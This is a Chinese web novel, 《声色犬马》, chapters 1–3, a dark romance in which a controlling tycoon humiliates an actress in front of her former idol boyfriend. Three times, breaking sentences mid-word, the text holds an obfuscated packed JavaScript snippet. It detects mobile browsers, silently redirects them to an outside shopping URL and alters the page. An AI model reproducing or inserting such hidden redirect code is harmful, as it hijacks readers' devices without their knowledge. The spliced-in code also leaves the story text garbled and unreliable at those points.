《声色犬马》 1. 第 1 章 声色犬马 文/金满盈 卫视最尊贵私密的休息室,富丽堂皇,商颂看了一眼墙上的挂钟。 离红毯开始还有不到五十分钟。 化妆师正在给她上眼妆,挑了颗黛蓝色。那是一种介于深海与夜空之间的颜色。 “外面有点吵。”商颂淡淡开口,声线里透着几分倦意。 作为一个出道三年在圈内叫得出名字的小花,任何一点风吹草动都能让商颂跌出待爆席位,让她连带着所有不耻的努力都将付之东流,哪怕那位承诺给她兜底。 “好像是有人闹起来了。”助理小艾一边喋喋不休,脸上带着一种与荣有焉的骄矜,“听说今晚红毯人太多,那个哑火的老女团FLOW%ER被主办方安排在了公共休息区。二十几个人挤在消防通道旁边,连个坐的地方都没有,这会儿经纪人正和统筹扯皮呢。” 没红之前,人不是人。 这种事像是一根极细的针,轻而易举地刺破了这层奢华的泡沫,扎在了商颂心里某处早该愈合的旧痂上。 商颂垂下眼睑,嘲弄地牵了牵嘴角。 她想起了四年前那个渗水褪皮像鱼缸一样的出租屋,想起了那两碗在冬夜里并不算热乎的关东煮,那时候,有人从身后抱住她,那人的胸膛单薄却滚烫,瞬间发生一场绮丽而绝望的自燃。 如今的APRICITY如日中天,伯雪寻更是作为当红流量坐在神坛之上。那样的过去,不过是年少轻狂时的一场自欺欺人,甚至是对于当初她狠心提分手的一种讽刺。 “颂姐?您要去哪?”小艾见商颂突然站起身,裹紧了披肩往外走,吓了一跳。 “闷得慌,透口气。” 门外是一条没有暖气也没铺地毯的狭长过道。正如小艾所说,几十个年轻的女孩子挤在通风口附近。她们身上穿着布料少得可怜的打歌服,光洁的大腿暴露在冷空气里,瑟瑟发抖,却没有人敢抱怨一声。 工作人员行色匆匆,搬运着道具箱,时不时粗鲁地喝斥着让她们让路。女孩们只能一次次像惊弓之鸟贴紧冰冷的墙壁,又因为空间狭窄而互相踩踏。 连坐的地方也没有。 商颂停下了脚步,目光沉静地扫过这混乱的一角。 正如她曾经历过的那样。年轻的脸上妆容因为长时间的等待和身体的热气有些花了,斑驳地卡在纹路里。她们看起来是等了很久的彩排,没有抱怨,没有不耐,眼中是早已经熟悉这种待遇的麻木和顺从。 这里是娱乐圈最真实的背面。 这些概念策划雷同的团体,在这个快消时代没收获对应的人气回报,公司入不敷出,只能解约重组;有不出名小公司的全员实力型组合,歌红人不红,苦熬多年直到合约到期,成员离散,名存实亡;有时遇不当,有迷途未返,有天降难测…… 光怪陆离,泥沙俱下。 可也不乏有唐嘉树一样的童工,有伯雪寻一样的创作型,有季斯年一样的跑综艺,这时,少年们籍籍无名却还憧憬着未来。人气金字塔和资源金字塔向来是呈相对立趋势,有很多爱豆不是不存在,而是不能被外界看见,夹缝里的花即使拼命也不容易汲取水分和阳光,最终生命黄昏一到自己都选择枯萎代谢了。 他们的青春无人在意。 APRICITY的成功确实沾点幸运,绝不撞型的五人全向同一个目标凝聚卖力,最初的“黑料”或许是寻星的手段,话题度和讨论度确实领先了一波同期团体,是应对畸形市场的策略之一,也是别家无法复制的路线之一。 而所有命运馈赠的礼物,早已在暗中标好了价格。商颂看着眼前这些女孩子,就像看着当初还未支付代价的自己。 “这也太惨了……”小艾跟了出来,小声嘟囔。 就在FLOW%ER里的几个小姑娘被冷风吹得连喷嚏都不敢大声打的时候,商颂轻轻叹了口气。 “小艾,”她侧过头,“去跟那个领队说一声,我那间休息室挺大的,只有我一个人,要是她们不介意,可以进去暖和一下,顺便补个妆。” 小艾愣了一下,随即明白了自家老板的意思,虽然有些犹豫会不会掉价,但看着那些冻得发紫的膝盖,还是点了点头,“好的,我这就去。” 看着小艾走过去交涉,那边原本死寂的氛围瞬间骚动起来,女孩子们的眼睛亮得惊人,那是受宠若惊的感激。 就在这时,过道的另一头突然传来了一阵急促且有力的脚步声,伴随着工作人员殷勤得甚至有些谄媚的声音。 “寻哥,这边,虽然有点挤,但是这个备用间还算干净……” 几个穿着黑色西装的高大安保人员拨开了人群,在混乱的过道里强行开辟出一条路来。紧接着,那个身影出现了。 男人戴着黑色口罩,一身西服挺阔有型,步履匆忙,神色却从容冷淡。 是伯雪寻。 他并没有看周围,眉眼间带着赶行程后的疲倦和一丝不易察觉的冷躁,修长的手指正在低头调整耳返的线。 经过那个瑟缩的FLOW%ER女团时,他脚步并未停顿,却忽然偏了偏头,对自己身边的执行经纪江寄低声说:“让那边的一些人去我休息室,别堵在这,太吵。” 与此同时,小艾已经带着那群欣喜若狂的女孩朝商颂这边走了过来。 两边的善意在空中极其巧合地撞在了一起。 伯雪寻的脚步一顿。 然而,恰好两个搬运展板的工作人员扛着巨大的泡沫板从两人中间穿过,遮挡了那一瞬间视线的交汇。 “谢谢商老师!真的太谢谢商老师了!” FLOW%ER的成员们已经围了上来,一个个鞠躬致谢,将商颂团团围住。等伯雪寻看去时,商颂的身影已经消失在了另一侧的转角,只有几个留下的工作人员正在跟FLOW%ER的经纪人解释,结果得知已经被商颂接手了,双方都在唏嘘这难得的好运气。 阴差阳错。 或许这就是现在的他们,明明处在同一个光怪陆离的圈子里,却永远隔着那一道无法跨越的板。 “商老师!” 这时候,主办方的统筹满头大汗地跑过来,手里拿着台本,“哎哟总算找到您了。是这样,您和伯老师合作的新电影《他者女人的窥镜》刚刚官宣,今晚有一个同框的简短备采,只有五分钟,资方特意交代的,得预热一下。伯老师已经在里面的C区备采间等着了,您看……” 休息室里,商颂挂上耳饰,香奈儿的双C标志,也是那个男人的姓名缩写。 躲得过初一,躲不过十五。 该来的总会来。 * 备采室并不大,但胜在私密。 门推开的时候,里面已经坐了一个人。 他坐在化妆椅上,长腿随意地伸展着,手里漫不经心地翻着薄薄的几页采访提纲。听到开门声,他转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126688|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过身来。 没有了口罩的遮挡,伯雪寻那张被上帝精心雕琢过的脸完全暴露在视野里。他瘦了一些,轮廓比四年前更加锋利冷硬,身上穿着那套高定酒红西装,若其他人穿肯定过于艳俗,偏偏被他穿得贵气逼人。 再也找不到那个穿着洗得发白T恤,在狭窄厨房里给她煮面的少年的影子。 “商老师。”他率先开了口,“久仰。” 那是很特别的音色。像是冬天里被大雪压断的松枝,带着一种虽然断裂却依然拥有苍翠的颗粒感。 清冷,克制,却在尾音的转折处藏着即将溺亡的深情。 商颂的心像被什么东西轻轻刺了一下。 她勾起一个职业化的微笑,优雅落座,“伯老师好。合作愉快。” 两人的经纪人和助理都很识趣地退到了门外,把空间留给这两位需要磨合的“新人”。 门一关,房间里的氧气似乎瞬间稀薄。 商颂坐得笔直,手指下意识地摩挲着裙摆上的丝绒。她做不到将演技发挥到现实中,面对他时,她只剩下无法言说的心虚和一种名为“物是人非”的酸楚。 忽然,空气中飘过来一丝让她灵魂都要发颤的味道。 雪松。那是他惯用的香水味。 紧绷的神经像是被这熟悉的味道融化了一角。商颂突然觉得有些好笑,那些拘谨慢慢散去。 “采访提纲我看过了。”商颂开口,试图打破沉默,“有些关于过往情感经历的问题,我会避开。” 伯雪寻翻页的手停住了,他抬眸看她,眼底有一丝晦暗不明的情绪,“商老师避讳这个?” “我是怕给伯老师惹麻烦。”商颂笑了笑,带着一种圈内人特有的通透,“毕竟伯老师现在可是国民爱豆,女友粉那么多。要是传出什么,公关部要加班的。” 伯雪寻定定地看着她。 心脏在这个瞬间,不可抑制地漏跳了一拍。 她看着伯雪寻。他也正看着她,那双向来像青石的眼睛里,翻涌着某种压抑已久的情绪——委屈、不甘,还有那种……即使被抛弃过,却依然无法割舍的本能。 商颂突然明白了。 他没有放下。 即便已经站在了万人中央,即便已经拥有了足以俯视这个圈子的资本,他在她面前,依然是当年那个会在寒风里等她下班的笨拙少年。 这个认知并没有让她感到欢喜,反而涌上一股巨大的酸涩。 那时他们除了爱一无所有。 现在他们什么都有了,唯独失去了那样的爱。 房间里流淌着一种温柔又残酷的静谧。那熟悉的雪松味道包裹着他们,像是要在此时此刻,将这段已经断裂的时光重新强行拼接。 商颂的喉咙有些发紧,她想说些什么,或许是一句道歉,或许是一句毫无意义的寒暄,又或许是…… “咚。” 门被毫无预兆地推开了。 商颂的肩头一重,透过镜子她看见了这个本该在巴黎的男人。 周彻。 他今天没有穿那身标志性的高定西装,而是穿着一件黑色的真丝衬衫,领口微敞,露出的皮肤冷白如玉。 最引人注目的是他那头漆黑如墨的头发。 并不是商界精英常见的短发,而是留到了及肩的长度。发丝随意地散落在肩头,让他整个人透着一种中世纪王爵般的阴郁、优雅,却又病态的美感。 2. 第 2 章 原本属于伯雪寻的领地,瞬间被更具侵略性的男人气息覆盖。 周彻甚至没有看伯雪寻一眼,那双在巴黎商界杀伐决断的眼眸,此刻只半垂着,漫不经心地扫过商颂有些僵硬的眉眼,“这眼妆颜色选得好。这世界上,只有蓝色是在血管里流淌的缺氧的血的颜色。” 商颂却听出来了他的深意—— 没有我这口气,你会窒息。 商颂的身子颤了一下。她太熟悉周彻了,这个男人在笑的时候未必是开心,在轻声细语的时候,往往意味着有人要遭殃。 周彻轻哼一声,没再胡扯,只道:“刚才听苏曼汇报,你看上了一个新剧本?叫什么《他者女人的窥镜》?” “剧本很好,冲奖的片子。我想接。”商颂刚开口,周彻修长的手指却顺着她的肩线滑下,十分自然地帮她理了理裙摆微皱的褶皱,动作亲昵得仿佛这是一种刻入骨髓的习惯。 而后,他才像是刚刚发现房间里还有另一个人似的,懒洋洋地掀起眼帘,目光越过商颂的头顶,居高临下地睨着那个坐在椅子上的年轻男人身上。 两道视线在空气中无声碰撞。 “原来是熟人?”周彻的声音很低,带着那种常年处于高位者的慵懒和笃定,“幸会,伯老师,既然要合作,我就替商颂把个关。” “幸会。”伯雪寻的目光越过周彻,并不畏惧地与他对视,“只是不知道,周先生是以什么身份来把关?商颂的经纪人?还是资方代表?” 这是挑衅。 赤|裸|裸的,也是绝望的挑衅。 商颂猛地抬头,眼中满是惊慌。她几乎想要冲上去捂住伯雪寻的嘴。他知不知道自己在对谁说话,周彻这种疯子,如果真的动怒,碾死现在的伯雪寻就像碾死一只蚂蚁一样简单,哪怕他正当红。 周彻低低地笑出了声,胸腔震动,那笑声有些渗人,回荡在封闭的空间里。他抬起手,慢条斯理地将商颂耳边那枚香奈儿的耳坠取了下来。 “我是什么身份?” 周彻捏着那枚闪烁着冷光的双C耳环,举到伯雪寻面前,他的拇指指腹摩挲着上面镶嵌的钻石,语气温柔得让人毛骨悚然。 “伯老师以前没教过商颂吗?戴首饰,要戴配套的。既然脖子上戴了我送的链子,耳朵上就不要戴这种赞助商给的廉价货色。” 商颂甚至不敢呼吸。 她感觉周彻的手指正顺着那条细细的链子慢慢下滑,指腹那一层薄薄的茧子蹭过她耳后的软肉,激起一片细密的战栗。这战栗不是因为情动,而是源于身体记忆深处的恐惧。 “说话啊。”周彻的声音低哑,带着一丝刚睡醒般的慵懒鼻音,“伯老师正看着你呢。” 伯雪寻死死地盯着商颂颈侧那片红痕。 那是一枚吻痕,也是一枚烙印。在这个讲究体面与包装的名利场,它显得那样粗鲁、直白、甚至带着一种充满了占有欲的腥膻气。它像一记响亮的耳光,狠狠抽在伯雪寻所谓“旧情难忘”的脸上,告诉他:你捧在手心里怕化了的雪,早就是别人榻上随意把玩的泥。 空气里的清苦雪松瞬间被周彻身上那股侵略性极强的黑鸦味道绞杀殆尽。 “周大少说笑了。”商颂终于找回了自己的声音,她不想让场面变得太难堪,或者说,不想让伯雪寻看到更难堪的画面。她抬手想要拂开周彻的手,却反被他一把攥住手腕。 周彻的力度控制得很巧妙,刚好是在她感觉到痛却又挣脱不开的临界点。他像是在要把玩一件精细的瓷器,垂眸看着她因为紧张而惨白的小脸,唇边勾起一抹病态的弧度。 他从西裤口袋里掏出了一个墨蓝色的小丝绒盒。 “啪”地一声轻响,盒子弹开,里面躺着一对定制的黛蓝色蛇形耳链。蓝钻细密地镶嵌在蛇身上,蛇信吐露的是一颗鲜红的红宝石,妖异、厌世、奢靡得令人咋舌。 “本来就是为了这对耳环来的。”周彻无视了对面站着的那个当红顶流,仿佛这房间里只有他们两人。他捻起那串耳饰,“刚才在车上看直播,那对双C晃得我眼晕。商颂,我说过,有些廉价的东西戴久了,骨头是会跟着轻贱的。” 他松开手,那枚原本属于品牌的耳饰“叮当”一声落在台面上,在死寂中显得尤为刺耳。 “周先生,”伯雪寻开口,“这里是备采间,即便您是商颂的……朋友,这样干扰艺人工作,未免太失礼了。” 他在“朋友”二字上顿了顿,那是他最后的自尊,他不愿在大庭广众之下用那些不堪的词汇去定义商颂。 周彻帮商颂戴好耳环的手顿住了,“朋友?伯老师这词用得委婉。在圈子里待了这么久,我还以为你会更聪明一点。” 他转过身,随手拉过旁边的一把椅子,在商颂身边坐下,双腿交叠,是一种绝对掌控者的姿态。 “既然伯老师这么有职业精神,”周彻指尖在那份被捏皱的提纲上点了点,“那就开始吧。正好我也想听听,关于《他者女人的窥镜》这部戏,两位主演是怎么理解‘爱而不得’和‘第三者’这种俗套关系的。” 这根本就是一场公开的凌迟。 商颂深吸了一口气,她知道周彻发疯的时候谁也拦不住,她唯一能做的就是顺从,尽可能快地结束这一场荒谬的闹剧。 “不是要对流程吗?”商颂硬着头皮看向伯雪寻,“时间不多了,先看问题吧。” 伯雪寻看着她。 看着那个曾经在他怀里笑得眉眼弯弯,说将来要一起攒钱去冰岛看极光的女孩。如今她满身珠光宝气,每一寸皮肤都被那个阴郁的男人打上了标签,就连看他的眼神,都已经变得这样小心翼翼,甚至充满了让他快点闭嘴离开的恐惧。 心像被什么钝器反复锯割。 伯雪寻闭了闭眼,强压下胸腔里翻涌的酸涩与暴戾,再睁眼时,那一抹脆弱已经消失,取而代之的是一层疏离而坚硬的伪装。 “好。”他松开手,试图抚平那张皱巴巴的纸,“第一个问题,关于两人在剧中的初遇。” “剧本设定,男主角是个前途无望的革职刑警,女主角是被豪门豢养的逃跑金丝雀。如果要用一种颜色形容两人的关系,会选什么?” 这问题像一根针,同时刺中了三个人。 周彻饶有兴致地支着下巴,目光在商颂和伯雪寻之间逡巡,仿佛在看一场滑稽戏。他突然开口插话:“革职刑警?这设定倒是贴切。商颂,你觉得呢?” 商颂的手指死死扣住椅子的扶手,她知道周彻在影射什么,四年前的伯雪寻虽然不是公职,却是抱着一把吉他在地下通道唱歌的流浪歌手。 “灰色。”商颂垂下眼帘,“是灰色。” “为什么?”周彻不依不饶。 “因为看不清未来。”商颂咬着嘴唇,“像是雾霾天,怎么走都是死路,无论多么用力相爱,最后都只能在现实里烂掉。” 伯雪寻猛地抬头看她。 三年前那个冬夜的分手画面再次重叠。她也是这样,站在昏黄的路灯下,穿着那件起球的大衣,坚决对他说:“伯雪寻,我不想陪你过这种一眼看不到头的日子了,那种灰色太绝望了。” 原来不是借口。 原来在她心里,那段对于他来说如珍珠般珍藏的岁月,是一片令人绝望的灰色。 周彻似乎对这个答案很满意,他轻笑一声,修长的手指拂过商颂刚刚戴上的蛇形耳环,冰凉的触感贴着她的侧脸,“说得好。灰色多难看,还是现在的颜色适合你。商颂,告诉伯老师,你现在是什么颜色?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126689|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …金色。”她极其艰难地吐出这两个字。 那是金钱的颜色,是资源的颜色,也是这鸟笼栏杆的颜色。 周彻满意了。他身子后仰,懒洋洋地靠回椅背,对伯雪寻做了一个“请继续”的手势:“抱歉打断了,伯老师,你们继续。” 但气氛已经被毁得彻彻底底。 所谓的“配合”,变成了一场单方面的羞辱。每一个问题抛出来,周彻都会似笑非笑地审视着他们,仿佛手中握着手术刀,一点点剥开他们过去的旧伤疤,展示着里面化脓的腐肉。 终于,门被敲响了。 统筹带着摄像大哥推门而入,原本脸上堆满的笑在看到周彻的那一瞬间僵在了脸上。 周彻的大名,圈子里谁人不知。那个掌控着资本大动脉,性格乖张暴戾,把女明星当金丝雀养的周家大公子。 “周、周先生……”统筹的舌头都有些打结,“那个,我们要开始录备采了,您看这环境是不是需要?” 言下之意是让闲杂人等回避。 周彻并没有起身的意思,“录吧。我在旁边听听。” 统筹看了一眼脸色苍白的商颂,又看了一眼眼神空洞的伯雪寻,估摸着刚才发生了一场什么样的修罗场,却不敢多言一句,只能硬着头皮开机。 镜头红灯亮起。 所有的情绪必须在这一秒瞬间收敛。 商颂迅速调整了表情,那是她这三年来在片场练就的本领。她露出一个无可挑剔的微笑,稍稍侧头看向伯雪寻,“大家好,我是商颂。” 伯雪寻顿了两秒。 那两秒钟里,他的视线似乎不受控制地再次掠过她颈侧那点红痕。然后,他也笑了。那是属于当红男团APRICITY队长的职业笑容,完美,疏离,像是精心绘制的面具。 “大家好,我是伯雪寻。” 采访进行得异常顺利,也异常干瘪。他们默契地避开了所有眼神接触,像是两具提线木偶,说着剧本里既定的台词。 周彻就坐在镜头外的阴影里。 他点了一支烟。 这里本是禁烟区,但没人敢去制止他。淡青色的烟雾在空气中缭绕升腾,模糊了他阴鸷的眉眼。他眯着眼,透过烟雾看着那个对着镜头微笑的女人。 这就是商颂。 哪怕心里在滴血,也能笑得这么好看。这种破碎又坚韧的生命力,真是让他爱得发狂,也恨得牙痒。 采访结束得很快,统筹像逃命一样指挥着摄像师撤离。 房间里只剩下三人。 那支烟燃到了尽头,周彻随手将其按灭在那个香奈儿的粉饼盒里。这一动作粗暴地毁掉了精美的化妆品,正如他毁掉这里原本暧昧流淌的气氛。 “走吧。”周彻站起身,极其自然地伸手揽住了商颂纤细的腰肢,甚至都没有看伯雪寻一眼,“今晚的红毯,我给你准备了一份大礼。” 商颂被他带得一个趔趄,不得不依偎进那个带着淡淡烟草味和黑鸦气息的怀抱。 临出门前,她没忍住,回头看了一眼。 伯雪寻还维持着坐在椅子上的姿势。他低着头,灯光打在他的脊背上,投下一片孤独的阴影。 他好像突然之间就被打碎了。那个在舞台上光芒万丈的神,此刻就像是一只被抛弃在路边的流浪狗。 商颂的心狠狠揪了一下。 就在这时,揽在她腰间的手猛地收紧。 “还看?”周彻在她耳边低语,“再看一眼,我就让他在这个圈子里彻底消失。商颂,你知道我做得出。” 商颂浑身一颤,像是被一盆冰水兜头浇下,瞬间清醒过来。 她迅速收回目光,低眉顺眼地贴近周彻的胸膛,声音低柔顺从:“没有,我不看了。我们走吧。” 3. 第 3 章 由备采间通往红毯候场区的长廊,铺着厚重的绛红色吸音地毯,像是名利场上谁人心头蜿蜒出的动脉,踩上去软绵绵的,没有任何回音,正如商颂此刻漂浮无依的灵魂。 周彻始终揽着她的腰。 与其说是揽,不如说是掌控。他的手掌很大,虎口正好卡在她纤细的腰窝处,透过薄如蝉翼的礼服面料,那股滚烫的体温源源不断地渗透进来,熨烫着她冰凉的肌肤,也提醒着她——这条锁链,她是挣不脱的。 “手心怎么这么多汗?”周彻突然低头,凑在她耳廓边轻语,“刚才对着旧情人,心跳还没平复?” 商颂的脚步顿了一下,又立刻被迫跟上他的节奏。她低声道:“不是,是冷气太足了。” “是么。”周彻不置可否地轻嗤一声,手指漫不经心地在她腰间的软肉上摩挲了两下,像是在抚摸一只随时会受惊应激的宠物猫,“最好是冷气的原因。商颂,我不喜欢我不用的东西,被别人惦记着;更不喜欢我的东西,心里还装着别的买主。” “知道了。”她乖顺地应答,长睫低垂。 红毯尽头,声浪如潮水般铺天盖地袭来。 在这个浮华的夜晚,聚光灯会将所有人的毛孔都无限放大。这里是造神的圣殿,也是毁神的刑场。 商颂被周彻松开的那一刻,感觉后背一阵空落落的寒意。 “去吧。”周彻随手理了理并未乱的袖口,那枚深海蓝宝石袖扣在灯光下像是深海里捕食者的眼睛,“你是今晚最漂亮的那个。记住,这不仅是你的荣光,也是我的脸面。” 他站在阴影交界处,并没有要以前投资人身份一同走红毯的意思。这让商颂紧绷的神经稍稍松了一线。 只要他不出现,这戏或许还能唱得体面些。 商颂深吸一口气,调整出那副练习了千万遍的完美笑容,提着裙摆踏入了那片能把人眼晃瞎的闪光灯海。 与此同时,前方红毯区刚刚结束了一阵撕心裂肺的尖叫。 是伯雪寻。 他对于他的粉丝籽爱来说是天上月,是水中花。 而对自己,又何尝不是? 所有的主创人员都在采访区汇合。 《他者女人的窥镜》是新锐女导演段南桥执镜,冲着国际奖项去的文艺片,阵容堪称豪华。伯雪寻站在最左侧,眉目清冷;商颂站在最右侧,美艳不可方物。中间隔着老戏骨和制片人,如同一条无法逾越的银河。 现场的主持人极具煽动性,举着话筒笑着问:“刚刚我们在红毯上看到伯老师和商老师的造型,简直是‘惊艳’二字的完美诠释啊。这次二位在戏里的关系也充满张力,听说是一段非常禁忌的拉扯?” 伯雪寻微微颔首,拿起话筒,“是,剧本里是一段在绝望中寻找出口的关系。” 他没有看商颂。 商颂也没有看他。 两人像是两条永不相交的平行线,共同在这个巨大的谎言里维持着摇摇欲坠的体面。 “我们都知道这部戏还有一个最大的悬念,”主持人眼中闪烁着八卦的光芒,语气变得夸张,“男二号那个著名的‘疯子资本家’角色,导演您一直藏着掖着,说是要等到开机发布会才公布。但今晚这么多媒体在场,不给大家透露一点惊喜吗?” 听到那个角色设定的瞬间,商颂的心脏猛地漏跳了一拍。 疯子。资本家。病态的占有欲。 这个角色……当初看剧本的时候,她就觉得那种阴鸷的底色像极了某个人,甚至让她在读剧本时一度产生生理性的恶心。 段南桥目光下意识地往台下的贵宾席瞟了一眼。 “其实今天我们确实准备了一个特别的环节。关于男二号‘周先生’的人选,原本我们接触了几位影帝,但最后有一位意想不到的人选,他说他想亲自诠释这种极致的爱。” 极致的爱? 不,那是极致的癌。 商颂还没反应过来导演话里的意思,原本喧闹的会场突然诡异地安静了一瞬。 接着,一阵沉稳、缓慢,却如同踩在人心尖上的皮鞋叩地声响起。 一抹高大挺拔的身影从阴影中缓缓走出。 剪裁考究的炭灰色意式手工西装,里面没有搭配领带,而是解开了衬衫的前两颗扣子,露出精致冷硬的锁骨。 他甚至没做发型,几缕发丝垂在额前,遮住了眉宇间的戾气,显得斯文败类到了极致,也英俊到了极致。 全场哗然。 “周氏集团的掌权人?那个掌握着娱乐圈半壁江山生杀大权的周大少?” “他怎么上台了?是作为最大投资方来剪彩?” “他不也是艺人吗?是SOLAR乐队的贝斯手啊!” 在无数道震惊的目光中,周彻径直走到了商颂身边。 他没有看主持人,也没有看那些疯狂闪烁的镜头,而是侧过头,对着已经面无人色的商颂微微一笑。 然后,他伸出手,自然地从商颂手中拿走了那只话筒。 他的指腹温热,擦过她冰冷的手指,像是交换了一个潮湿而危险的秘密。 “我也很好奇,”周彻的声音低沉磁性,带着一种浑然天成的上位者气息,“这世界上,还有谁比我更懂得怎么去演绎‘占有’?” 全场死一般的寂静,紧接着是媒体们疯了一样的按动快门声。 “正式介绍一下,”周彻嘴角噙着一抹残忍而愉悦的笑意。 “我是周彻。也是电影里,那位毁掉一切的——周先生。” 这是示威。 也是宣战。 伯雪寻眸光晦暗。周彻不仅抢走了他深爱的人,甚至连最后这片让他栖息的“艺术领地”也要一并践踏。周彻要在这部电影里,当着全世界观众的面,堂而皇之地继续禁锢商颂,演绎那种病态的关系,把现实里的霸凌搬上银幕,供人观赏。 “周先生……这……”主持人虽然经验丰富,也被这核弹级的消息炸得语无伦次,“您是说,您要亲自出演男二号?和商老师有大量对手戏?” “是有很多。”周彻笑了,忽然点名,声音温和得有些渗人,“伯老师,听说你在戏里饰演那个想要带她逃跑的刑警?那在片场,可要多担待了。毕竟——” 他俯下身,在万众瞩目之下,那个吻极轻地落在了商颂的发顶。 “她是逃不掉的。” 无论是戏里,还是戏外。 商颂在那一刻听到了细微而清脆的声音,像是手里最后那根火柴彻底熄灭。 红毯周围的闪光灯疯狂闪烁,将这一幕定格成了明日震惊娱乐圈的头条。 ——《豪门巨鳄跨界首秀,为爱入局还是偏执占有?》 商颂缩在真皮座椅的角落里,手机在手包里疯狂震动,那种持续不断的嗡鸣声,像是数以亿计的窥探目光正试图通过那个小小的屏幕钻出来,将她拆吃入腹。 “怎么不看?” 周彻靠在另一侧,姿态闲适,“热搜爆了,商颂。大家都在为我们庆祝。” 他侧过身,那一星半点的车窗流光掠过他的眼底,照亮了里面某种病态的愉悦。他将自己的手机递到商颂面前。 商颂被迫垂下眼睫。 有关他们的热搜词条实时变成猩红色,旁边跟着一个令人触目惊心的“爆”字。 #周彻出演男二# #真豪门霸总撕书式演技# #周彻商颂性张力# #心疼伯雪寻# 在这个娱乐至死的年代,并没有人会因为这种赤|裸|裸的权势压迫感到恐惧,相反,他们像是在看一出不需要门票的罗马角斗场野兽吞噬,为了那种畸形的刺激而欢呼雀跃。 第一条热评的点赞数已经超过了六十万。 配图正是刚才周彻揽着她,当众在那满堂权贵面前宣告“她是逃不掉的”那一瞬间的抓拍。 镜头极其刁钻,虚化了周遭所有喧嚣,只留下了周彻那双极具侵略性的眼眸,和商颂那一低头的战栗。 【卧槽!周彻那个眼神杀我!什么叫斯文败类,什么叫病娇强制爱!小说男主瞬间有脸了!】 【天呐,原本以为商颂只是花瓶,结果周大少一站她旁边,那种“你是我的掌中物”的氛围感简直拉满了!我想看他们演床戏,是真的那种!】 【前面的姐妹别穿裤子,导演刚才不是说了吗?“极致的占有”,这暗示还不够明显吗?周大少就是去公费恋爱的啊!】 【有没有人注意刚才伯雪寻的表情?太虐了,真的像一条被淋湿的小狗。可是对不起哥哥,我想嗑邪教,资本大鳄x金丝雀,这种设定谁能忍住不嗑啊!】 【貌似明天就围读进组了,商颂还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126690|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吧?感觉状态不太行啊。】 全网都在这一刻沦为这所谓“唯美”爱情的帮凶。他们欢呼雀跃地将裹着糖衣的砒霜塞进嘴里,甚至还因为那甜蜜的糖衣,转而嘲笑那个真正想要救她的人太过孱弱。 恶心。 又荒谬。 “看,这就是人心。” 周彻不知何时已经凑了过来。 他温热的气息拂过商颂敏感的耳廓,指尖挑起她颊边那缕被汗水沾湿的发丝,耐心地帮她别到耳后,动作极尽缱绻。 “他们不在乎你是不是真的恐惧,不在乎你是不是想要逃跑。”周彻的指腹摩挲着她颤抖的颈侧,声音低沉,带着一丝残忍的循循善诱,“他们只看得到这一刻的‘美’。商颂,你那种窒息的样子,在他们眼里,是情动,是依附,是离不开我。” 商颂蹙眉,喃喃道:“这太畸形了。” “畸形?” 周彻轻笑出声,那笑意并未抵达眼底,反而激起一阵森然的寒意。 他按灭了手机屏幕,将商颂整个人圈进自己宽阔的怀里,下巴搁在她的肩窝处,透过窗户看向外面看似繁华实则冷漠的世界。 “在这个圈子里,资本即真理,强权即真相。” 周彻收紧了手臂,让两人贴得严丝合缝。 “刚才我在后台看数据,微博服务器瘫痪了三次。所有关于这部电影的讨论度,在一瞬间超过了过去三年的总和。投资方在这个小时内追加了三个亿。” 他偏过头,在那截白腻的脖颈上轻咬了一口,满意的感觉到怀里的人剧烈的颤抖。 “商颂,这就是我要给你的惊喜。你不需要费尽心思去琢磨那个剧本,不需要去体验什么是‘被禁锢的绝望’。我们不需要演。” 周彻抬起手,将那一串随着车身晃动而丁零作响的蛇形耳链轻轻一拨。 “因为接下来的每一天,在片场的每一分每一秒,甚至在镜头之外——” “所有观众,都会成为我们Play的一环。他们在热搜上每欢呼一次,每喊一句‘嗑到了’,就是在替我,往这笼子上多加一把锁。” “你听,”周彻低笑,抬起商颂那只被冷汗浸湿的手,贴在自己的胸口,“现在全世界都觉得,你生来就是属于我的。” 商颂绝望地闭上了眼睛。 黑暗中,她仿佛看到伯雪寻那个苍白的影子,正一点点被这滚烫的、狂热的、充满恶意的网络舆论浪潮吞没。 那些点赞,那些转发,那些尖叫。 它们不是鲜花,是雪崩时没有一片无辜的雪花,正争先恐后地,将她和过去的世界彻底埋葬。 而在伯雪寻超话的评论区里,无数原本属于他的粉丝,正在“理智”地劝导: 【寻寻咱们算了吧,周家那位真惹不起。】 【虽然心疼哥哥,但是有一说一,资本和打工人的壁垒真的太厚了。】 【周大少那个气场太绝了,站在那里就是食物链顶端,伯老师看着真的好可怜……】 可怜。 又是可怜。 三年前,他没钱,商颂要为了钱离开他,他可怜。 